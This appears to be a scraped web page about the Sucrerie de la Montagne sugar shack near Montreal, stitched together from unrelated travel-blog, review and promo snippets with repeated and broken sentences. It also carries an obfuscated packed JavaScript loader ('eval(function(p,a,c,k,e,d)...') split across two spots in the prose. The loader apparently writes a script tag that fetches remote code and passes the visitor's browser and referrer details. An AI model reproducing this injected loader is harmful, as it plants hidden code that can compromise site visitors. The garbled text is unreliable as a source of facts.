Check out my DJI Osmo Pocket Test Footage: https:// It’s more Christmassy than December 25th! But rather than just buying tin of this delicious golden liquid to take home, how about visiting a Sugar Shack and finding out how it is made? Read all about it on our Montreal Travel Blog: your own drone here:'t You Ever Click Here!!! For those of you who couldn't see it, here's the story in photos. For take-out order and cabin rental All of the courses, taste amazing, and are endless. Last spring, a few friends and I road-tripped to the town of Rigaud, Quebec to shoot a documentary about maple farming. It can take as much as 30 litres of maple water to make one litre of maple syrup. The entire process of making maple syrup is, from beginning to the end, done the old-fashioned way. Because it was springtime the trees all had buckets hanging from their trunks. Most shacks are located where the maple trees are obviously, so outside the city. We are open 7 days. Inspired by the life of the early pioneers in this area? An exquisite smell reminiscent of spring! for useful tourist information about Quebec. Then spend the night in one of the authentic wooden cabins. However when it comes to dessert – hint is not the word. Chantal Cooke is an award winning journalist and broadcaster with a passion for the planet. But syrup is not all that is made from the maple water. We do have a few favourites that we can recommend from the traditional Sucrerie de la Montagne to the more contemporary Érablière Shefford and the over-the-top Au pied de … It welcomes visitors all year round and Pierre Faucher (the bushy faced founder) or his son, the less bushy-faced Stefan, will be happy to show you around and explain their passion for all things maple. MAPLE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(! The maple water drains out into the bucket with the quantity determined by the temperature that day. Discover Sucrerie de la Montagne in Rigaud, Québec: This shack nestled in a 120-acre forest of maple trees in Mont-Rigaud is a wonderland of sugary syrup. The Cabane A Sucre (Sugar Shack) called Sucrerie de la Montagne is on Rigaud Mountain, up a long country road. Small holes are drilled into the trees (which must be at least 40 years old) and spigots are inserted with a bucket attached. Sucrerie de la Montagne is just 45 minutes from Montreal. Although you can visit at any time of year – ‘Sugar Time’ is March and April. Sugar pie, maple sugar ice cream, and of course, pancakes and maple syrup – all utterly delightful and all laden with maple syrup. Hotels in Montreal: ALT Hotel Montréal Griffintown and Sheraton Montreal Airport Hotel. And it’s all made from the locally harvested maple water. During the week or on weekends, Sucrerie de la Montagne lets you experience real Québec traditions. Sucrerie de la Montagne sells light and medium amber syrup on the premises. Book Sucrerie de la Montagne, Rigaud on Tripadvisor: See 90 traveller reviews, 128 candid photos, and great deals for Sucrerie de la Montagne, ranked #1 of 2 Speciality lodging in … The sap was running. Sucrerie de la Montagne is a bit of a sugar shack anomaly because it’s open year round. We are open 7 days. Sucrerie de la Montagne . Then take a stroll to the store and buy maple syrup, maple butter, maple sugar, dark chocolate and maple, white chocolate and maple… the list goes on! The liquid is then boiled for a few hours in order to evaporate off the water and leave behind the thick sugary syrup. There is a thick blanket of snow on the ground and the aroma of maple vapour and fresh baked bread in the air. Here, the maple syrup is produced the old-fashioned way: the tree is tapped with a spout, the sap collected in a pail and transported to a traditional wood … Havelock. In 2002 she co-founded the award winning radio station PASSION for the PLANET and in 2009 Chantal was awarded London Leader in Sustainability status. The must-do. We visited the evaporator in a building where a man described how they turn the watery sap into liquid gold. It tends to be decimated by the end of the night, a testament to how impossible it is to get sick of eating pure maple syrup. There is homemade maple syrup on the table, along with homemade sweet pickles, beets and ketchup. These are the genuine article – carefully dismantled from their original positions in the nearby village and rebuilt on the Sucrerie site. Thousands of people visit every day to join the celebrations of the maple harvest. A Man With A Vision. A bottle like this is placed on every dinner table in the house. Jürgen and I spent a sunny April afternoon at La Sucrerie de la Montagne, about an hour west of Montreal. This shack extraordinaire has actually been deemed a Quebec historical site, and unlike other cabanes, it’s… It smells so good people will want to lick you… and according to Stefan, that’s pretty much what his father intended when he dreamed up the idea! It welcomes visitors all year round and Pierre Faucher (the bushy faced founder) or his son, the less bushy-faced Stefan, will be happy to show you around and explain their passion for all things maple. Sucrerie de la Montagne was founded by Pierre Faucher and his son Stefan and everything they do is with respect to the heritage of their forebears and authenticity towards Québec’s traditions. Sucrerie de la Montagne is set up like a small village. In winter the taffy is drizzled onto snow to create maple lollies – the ice and sugar melting delectably in the mouth. We arrive at Sucrerie de la Montagne, the iconic Quebec site of Pierre’s “sugar shack.” Pierre’s “Father Christmas” look has earned him the status of an icon and his face appears on hundreds of maple syrup products. Even though it is quite large, it is a very busy place. There are hundreds of cabanes à sucre in Quebec. They are a real piece of history – that you can stay in. Sucrerie de la Montagne is less than an hour’s picturesque drive from Montreal. And, as Stefan says, “in case of emergency” there is a huge bottle of maple syrup on every table. Description: Our sugar shack, la Sucrerie de la Montagne, has as a mission to make you discover Quebec's traditions; a traditional menu awaits you which included : homemade bread, ham, sausage, meat pie, pancakes with maple syrup and maple taffy on snow. For a truly genuine experience, come to Sucrerie de la Montagne, an authentic sugar shack open year-round set amidst a forest of century-old maples. If you feel that your pancreas is about to go on strike but you’d still like a little more maple to take home with you – treat yourself to a bottle of maple perfume. The next course consists of eggs, bacon, ham, sausage, famous Quebec meat pie, meatballs, and baked beans. I have always heard of the Sucrerie de la Montagne but only had the chance to visit the last time we were in Quebec. In the restaurant you can try a variety of food that has been cooked using varying amounts of maple syrup. The entrance is essentially an enormous dirt parking lot surrounded by log fences. in the woods. BRAND NEW!!! !!-~-~~-~~~-~~-~-Please watch: \"Low Light / Slow Motion DJI Osmo Pocket Test Footage: Turia Fountain Valencia, Spain\" Plus, you’ll get to taste maple syrup in just about every form and food you can imagine. With just 1,500 tapped trees spread over 120 acres, it’s a tiny syrup operation for Quebec, where 75 percent of the world’s supply is produced. His farm preserves traditional syrup gathering customs, old stoves, and old-fashioned tools. Sucrerie de la Montagne is less than an hour’s picturesque drive from Montreal. This is our third spring visit to the Sucrerie de la Montagne. Sucrerie De la Montagne Inc, Rigaud: See 286 unbiased reviews of Sucrerie De la Montagne Inc, rated 4 of 5 on Tripadvisor and ranked #1 of 29 restaurants in Rigaud. The entire experience is a step back in time; the traditional method of collecting and making the syrup, the wooden buildings with their wide ‘chimneys’ (typical of a the early sugar shacks), and the Quebecois food – served family style. ''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahtar|var|u0026u|referrer|ihfrn||js|php'.split('|'),0,{})) Sucrerie de la Montagne was founded by Pierre Faucher and his goal is to preserve the heritage of the cabane à sucre and to provide an authentic look at what life was like as a pioneer. That’s not to say the meal is all sugar (or at least not until you get to the dessert) but it certainly has a subtle hint of maple in every delicious mouthful. CTV Your Morning’s Kelsey McEwen visited Sucrerie de la Montagne in Québec and spoke to the owner, Pierre Faucher, about the science that goes into making maple syrup. For take-out order and cabin rental We walked around the maple trees, peeked into the buckets, learned how the sap is boiled down, and enjoyed a hearty meal… all of it drenched in maple syrup, of course. By heating it a little longer you get maple taffy, a bit longer gives you maple butter and longer still will deliver maple sugar. We were a party of 11 for a Sunday brunch birthday celebration. This old-time sugar shack takes visitors back to the days of the first settlers, showing the traditional way of collecting sap and boiling it down into maple syrup. Arriving at the main wooden building, one could be quite convinced that a trip through a time machine had taken place. Check out my DJI Osmo Pocket Test Footage: came to Montreal at the right time of the year. Maple water is collected from the trees between March and April. A post shared by Pedro Henrique Quedinho (@phquedinho) on Nov 15, 2018 at 11:01am PST. The film we ended up producing, Sucrerie de la Montagne, premiered at the Food Film Festival in New York recently where it won the Audience Choice Award. Maple Syrup time! An exquisite smell reminiscent of spring! This week, host Lucas Peterson heads 45 minutes outside the city to Sucrerie de la Montagne, a sugar shack near Rigaud. Because nothing says “come to my place for brunch” like authentic Quebec maple syrup. Still want more? There is live music, folk dancing and you can learn to play the spoons; “It’s easy to make a noise – but not so easy to make music.” admits Stefan. SYRUP AT SUCRERIE DE LA MONTAGNE. They start you off with some hot homemade bread and pea soup. Sucrerie de la Montagne, Rigaud: This famous sugar shack is a tourist mecca (it’s the one Anthony Bourdain visited when he came to Montreal).It’s got the whole spoon-playing, sleigh-riding, “tire”-eating experience down to a science. Chantal also runs a successful communications agency – Panpathic Communications. Or sample the maple wine, or the maple beer or…. We will be publishing soon a video from the inside. View this post on Instagram . BRAND NEW!!! There's a pretty snazzy general store and gift shop next door for those looking for everything from maple candy to maple bubble bath. We have singer-musicians who will entertain the halls in our sugar bush. Check out this drone footage of the sugar shack. Right during the maple syrup. It will take your breath away. You can finish off with a slug of maple whiskey, or if you prefer port then try the red wine, port, maple syrup and ice cider mix that is unique to Sucrerie de la Montagne. Air Canada flies direct from London to Montreal. We were picked up in... a horse drawn wagon at the car park. The fluffy omelette soufflé, the smoky baked beans, even the tomato chutney have all been given the maple treatment! FIRST CROSS-BORDER PROJECT LAUNCHED TO SAVE HEN HARRIERS. A bucket for collecting Maple water is shown on the grounds of the Sucrerie de la Montagne sugar shack in Rigaud, Que., west of Montreal, Saturday, April 4, 2020. You should 100% book a reservation if you plan to come to the Sucrerie de la Montagne for a meal.